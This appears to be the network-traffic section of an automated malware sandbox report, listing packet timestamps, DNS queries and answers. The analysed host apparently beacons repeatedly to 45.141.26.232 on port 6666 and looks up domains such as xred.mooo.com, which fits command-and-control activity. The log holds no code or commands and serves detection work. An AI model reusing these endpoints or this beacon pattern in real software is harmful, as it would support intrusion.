Jul 2, 2024 06:51:47.958030939 CEST	443	49839	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:47.958080053 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:48.276690006 CEST	443	49841	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:48.276784897 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:48.277473927 CEST	443	49841	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:48.277544022 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:53.694780111 CEST	80	49714	69.42.215.252	192.168.2.5
Jul 2, 2024 06:51:53.694940090 CEST	49714	80	192.168.2.5	69.42.215.252
Jul 2, 2024 06:51:53.695147991 CEST	80	49714	69.42.215.252	192.168.2.5
Jul 2, 2024 06:51:53.695199013 CEST	80	49714	69.42.215.252	192.168.2.5
Jul 2, 2024 06:51:53.695216894 CEST	49714	80	192.168.2.5	69.42.215.252
Jul 2, 2024 06:51:53.695242882 CEST	49714	80	192.168.2.5	69.42.215.252
Jul 2, 2024 06:51:56.942586899 CEST	49840	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:56.942624092 CEST	443	49840	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:56.944377899 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:56.944456100 CEST	443	49839	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:56.944782972 CEST	443	49839	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:56.944900036 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:56.944904089 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:56.944936037 CEST	443	49841	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:56.945249081 CEST	443	49841	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:56.945292950 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:56.945302963 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:56.945575953 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:56.988511086 CEST	443	49841	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:56.992501020 CEST	443	49839	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.240700960 CEST	443	49841	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.240797043 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.240813017 CEST	443	49841	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.240865946 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.241401911 CEST	443	49841	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.241449118 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.241455078 CEST	443	49841	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.241503954 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.243446112 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.243464947 CEST	443	49841	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.247905970 CEST	443	49839	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.248008013 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.248944998 CEST	443	49839	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.249002934 CEST	443	49839	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.249005079 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.249058008 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.255637884 CEST	49845	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.255707979 CEST	443	49845	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.255825043 CEST	49845	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.339514971 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.339514971 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.339561939 CEST	443	49839	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.339618921 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.340221882 CEST	49846	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.340292931 CEST	443	49846	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.340363979 CEST	49846	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.340706110 CEST	49846	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.340718031 CEST	443	49846	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.354104042 CEST	49845	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:57.354118109 CEST	443	49845	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:57.356714010 CEST	49847	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:57.356761932 CEST	443	49847	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:57.356834888 CEST	49847	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:57.357036114 CEST	49847	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:57.357053041 CEST	443	49847	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:57.591131926 CEST	443	49840	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:57.591228962 CEST	49840	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:57.996252060 CEST	443	49847	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:57.996330023 CEST	49847	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:58.008059978 CEST	443	49846	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:58.008138895 CEST	49846	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:58.013465881 CEST	443	49845	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:58.013525963 CEST	49845	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:59.702097893 CEST	80	49709	208.95.112.1	192.168.2.5
Jul 2, 2024 06:51:59.702169895 CEST	49709	80	192.168.2.5	208.95.112.1
Jul 2, 2024 06:52:04.696527004 CEST	49846	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:52:04.697073936 CEST	49714	80	192.168.2.5	69.42.215.252
Jul 2, 2024 06:52:04.699400902 CEST	49840	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:52:04.699529886 CEST	49847	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:52:04.700041056 CEST	49845	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:52:20.816513062 CEST	49849	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:20.821528912 CEST	6666	49849	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:20.821619034 CEST	49849	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:21.019520998 CEST	49849	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:21.024298906 CEST	6666	49849	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:22.986645937 CEST	6666	49849	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:22.986725092 CEST	49849	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:23.988233089 CEST	49850	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:23.988321066 CEST	49851	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:23.988353968 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:23.988369942 CEST	443	49851	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:23.988444090 CEST	49850	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:23.988444090 CEST	49852	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:23.988459110 CEST	49851	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:23.988537073 CEST	443	49852	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:23.988631010 CEST	49852	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:23.988867044 CEST	49850	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:23.988883018 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:23.989027977 CEST	49851	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:23.989042997 CEST	443	49851	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.006553888 CEST	49852	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.006567955 CEST	443	49852	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.657183886 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.657253027 CEST	443	49851	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.657273054 CEST	49850	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.657336950 CEST	49851	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.659220934 CEST	49850	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.659234047 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.659481049 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.660495996 CEST	443	49852	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.660578012 CEST	49852	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.661139965 CEST	49851	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.661151886 CEST	443	49851	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.661468029 CEST	443	49851	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.668838024 CEST	49850	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.669598103 CEST	49851	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.670367956 CEST	49852	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.670381069 CEST	443	49852	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.670613050 CEST	443	49852	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.671628952 CEST	49852	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.716500998 CEST	443	49852	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.716506004 CEST	443	49851	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.716520071 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.769478083 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.769512892 CEST	443	49851	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.769520044 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.769536018 CEST	443	49851	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.769576073 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.769576073 CEST	49850	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.769588947 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.769610882 CEST	49851	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.769628048 CEST	443	49851	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.769630909 CEST	49850	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.769651890 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.769721031 CEST	49850	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.770150900 CEST	443	49851	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.770344973 CEST	49851	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.771075964 CEST	49850	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.771095037 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.771106005 CEST	49850	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.771112919 CEST	443	49850	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.772939920 CEST	49851	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.772953987 CEST	443	49851	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.772969007 CEST	49851	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.772974968 CEST	443	49851	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.831335068 CEST	443	49852	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.831412077 CEST	443	49852	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.831465960 CEST	49852	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.834634066 CEST	49852	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.834646940 CEST	443	49852	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:24.834657907 CEST	49852	443	192.168.2.5	13.107.246.60
Jul 2, 2024 06:52:24.834665060 CEST	443	49852	13.107.246.60	192.168.2.5
Jul 2, 2024 06:52:25.938925028 CEST	49849	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:25.940749884 CEST	49854	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:25.944964886 CEST	6666	49849	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:25.947690964 CEST	6666	49854	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:25.947834015 CEST	49854	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:25.968722105 CEST	49854	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:25.973557949 CEST	6666	49854	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:28.129173994 CEST	6666	49854	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:28.129277945 CEST	49854	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:29.771356106 CEST	49854	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:29.776150942 CEST	6666	49854	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:29.841084003 CEST	49855	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:29.845956087 CEST	6666	49855	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:29.847785950 CEST	49855	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:29.909838915 CEST	49855	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:29.914589882 CEST	6666	49855	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:32.744370937 CEST	6666	49855	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:32.744441986 CEST	49855	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:32.744699955 CEST	6666	49855	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:32.744750977 CEST	49855	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:32.744900942 CEST	6666	49855	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:32.744937897 CEST	49855	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:34.316834927 CEST	49855	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:34.319221020 CEST	49856	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:34.397505999 CEST	6666	49855	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:34.397526026 CEST	6666	49856	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:34.397645950 CEST	49856	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:34.586756945 CEST	49856	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:34.591819048 CEST	6666	49856	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:36.632992029 CEST	6666	49856	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:36.633866072 CEST	49856	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:37.674168110 CEST	49856	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:37.676665068 CEST	49857	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:37.679233074 CEST	6666	49856	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:37.681570053 CEST	6666	49857	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:37.681648970 CEST	49857	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:37.714714050 CEST	49857	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:37.719783068 CEST	6666	49857	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:39.882769108 CEST	6666	49857	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:39.882916927 CEST	49857	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:42.438922882 CEST	49857	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:42.441169024 CEST	49858	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:42.449174881 CEST	6666	49857	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:42.449203014 CEST	6666	49858	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:42.449379921 CEST	49858	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:42.471421957 CEST	49858	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:42.476363897 CEST	6666	49858	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:44.652271986 CEST	6666	49858	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:44.652431011 CEST	49858	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:47.454360008 CEST	49858	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:47.455368996 CEST	49859	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:47.459593058 CEST	6666	49858	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:47.460294962 CEST	6666	49859	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:47.460371971 CEST	49859	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:47.476042032 CEST	49859	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:47.484496117 CEST	6666	49859	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:49.669419050 CEST	6666	49859	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:49.669688940 CEST	49859	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:50.677146912 CEST	49859	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:50.681946993 CEST	6666	49859	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:50.703613043 CEST	49860	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:50.708609104 CEST	6666	49860	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:50.708688974 CEST	49860	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:50.728044987 CEST	49860	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:50.733180046 CEST	6666	49860	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:52.960529089 CEST	6666	49860	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:52.960630894 CEST	49860	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:54.486522913 CEST	49860	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:54.489034891 CEST	49861	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:54.495557070 CEST	6666	49860	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:54.496198893 CEST	6666	49861	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:54.496293068 CEST	49861	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:54.516777039 CEST	49861	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:54.521719933 CEST	6666	49861	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:56.672425032 CEST	6666	49861	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:56.672671080 CEST	49861	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:57.688956976 CEST	49861	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:57.690785885 CEST	49862	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:57.694466114 CEST	6666	49861	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:57.695570946 CEST	6666	49862	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:57.695641041 CEST	49862	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:57.713617086 CEST	49862	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:52:57.718492031 CEST	6666	49862	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:59.938817978 CEST	6666	49862	45.141.26.232	192.168.2.5
Jul 2, 2024 06:52:59.939872026 CEST	49862	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:00.112298012 CEST	49709	80	192.168.2.5	208.95.112.1
Jul 2, 2024 06:53:00.423015118 CEST	49709	80	192.168.2.5	208.95.112.1
Jul 2, 2024 06:53:01.032464027 CEST	49709	80	192.168.2.5	208.95.112.1
Jul 2, 2024 06:53:01.157702923 CEST	49862	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:01.159008980 CEST	49863	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:01.162671089 CEST	6666	49862	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:01.163779020 CEST	6666	49863	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:01.163897991 CEST	49863	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:01.180686951 CEST	49863	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:01.185616970 CEST	6666	49863	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:02.235519886 CEST	49709	80	192.168.2.5	208.95.112.1
Jul 2, 2024 06:53:03.328249931 CEST	6666	49863	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:03.328326941 CEST	49863	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:04.641772032 CEST	49709	80	192.168.2.5	208.95.112.1
Jul 2, 2024 06:53:04.892002106 CEST	49863	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:04.893280983 CEST	49864	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:04.896872997 CEST	6666	49863	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:04.898111105 CEST	6666	49864	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:04.898178101 CEST	49864	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:04.913589001 CEST	49864	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:04.918489933 CEST	6666	49864	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:07.081471920 CEST	6666	49864	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:07.081584930 CEST	49864	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:07.923167944 CEST	49864	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:07.924120903 CEST	49865	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:07.928092957 CEST	6666	49864	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:07.928880930 CEST	6666	49865	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:07.928978920 CEST	49865	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:07.944672108 CEST	49865	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:07.949424028 CEST	6666	49865	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:09.454272032 CEST	49709	80	192.168.2.5	208.95.112.1
Jul 2, 2024 06:53:10.136595964 CEST	6666	49865	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:10.136753082 CEST	49865	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:10.267134905 CEST	49865	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:10.268160105 CEST	49866	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:10.272007942 CEST	6666	49865	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:10.273065090 CEST	6666	49866	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:10.273143053 CEST	49866	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:10.289118052 CEST	49866	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:10.293994904 CEST	6666	49866	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:12.438492060 CEST	6666	49866	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:12.438611031 CEST	49866	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:13.626312017 CEST	49866	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:13.627577066 CEST	49867	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:13.631086111 CEST	6666	49866	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:13.632410049 CEST	6666	49867	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:13.632493019 CEST	49867	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:13.648365021 CEST	49867	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:13.653192043 CEST	6666	49867	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:15.866482019 CEST	6666	49867	45.141.26.232	192.168.2.5
Jul 2, 2024 06:53:15.866602898 CEST	49867	6666	192.168.2.5	45.141.26.232
Jul 2, 2024 06:53:19.063618898 CEST	49709	80	192.168.2.5	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 06:51:19.576951981 CEST	53214	53	192.168.2.5	1.1.1.1
Jul 2, 2024 06:51:19.585954905 CEST	53	53214	1.1.1.1	192.168.2.5
Jul 2, 2024 06:51:21.581386089 CEST	59967	53	192.168.2.5	1.1.1.1
Jul 2, 2024 06:51:21.588057995 CEST	53	59967	1.1.1.1	192.168.2.5
Jul 2, 2024 06:51:22.310076952 CEST	54047	53	192.168.2.5	1.1.1.1
Jul 2, 2024 06:51:22.317898989 CEST	53	54047	1.1.1.1	192.168.2.5
Jul 2, 2024 06:51:22.354827881 CEST	61260	53	192.168.2.5	1.1.1.1
Jul 2, 2024 06:51:22.362205982 CEST	53	61260	1.1.1.1	192.168.2.5
Jul 2, 2024 06:51:22.838444948 CEST	57133	53	192.168.2.5	1.1.1.1
Jul 2, 2024 06:51:22.845913887 CEST	53	57133	1.1.1.1	192.168.2.5
Jul 2, 2024 06:51:28.985130072 CEST	58052	53	192.168.2.5	1.1.1.1
Jul 2, 2024 06:51:29.100892067 CEST	53	58052	1.1.1.1	192.168.2.5
Jul 2, 2024 06:51:35.956388950 CEST	59673	53	192.168.2.5	1.1.1.1
Jul 2, 2024 06:51:36.091516972 CEST	53	59673	1.1.1.1	192.168.2.5
Jul 2, 2024 06:51:42.878271103 CEST	60772	53	192.168.2.5	1.1.1.1
Jul 2, 2024 06:51:42.887943983 CEST	53	60772	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 2, 2024 06:51:19.576951981 CEST	192.168.2.5	1.1.1.1	0x7cf4	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:21.581386089 CEST	192.168.2.5	1.1.1.1	0x765f	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:22.310076952 CEST	192.168.2.5	1.1.1.1	0x5b8f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:22.354827881 CEST	192.168.2.5	1.1.1.1	0x7e71	Standard query (0)	freedns.afraid.org	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:22.838444948 CEST	192.168.2.5	1.1.1.1	0x73de	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:28.985130072 CEST	192.168.2.5	1.1.1.1	0x268f	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:35.956388950 CEST	192.168.2.5	1.1.1.1	0x7aa8	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:42.878271103 CEST	192.168.2.5	1.1.1.1	0x434	Standard query (0)	xred.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 2, 2024 06:51:19.585954905 CEST	1.1.1.1	192.168.2.5	0x7cf4	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:21.588057995 CEST	1.1.1.1	192.168.2.5	0x765f	No error (0)	docs.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:22.317898989 CEST	1.1.1.1	192.168.2.5	0x5b8f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:22.362205982 CEST	1.1.1.1	192.168.2.5	0x7e71	No error (0)	freedns.afraid.org		69.42.215.252	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:22.845913887 CEST	1.1.1.1	192.168.2.5	0x73de	No error (0)	drive.usercontent.google.com		142.250.184.225	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:29.100892067 CEST	1.1.1.1	192.168.2.5	0x268f	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
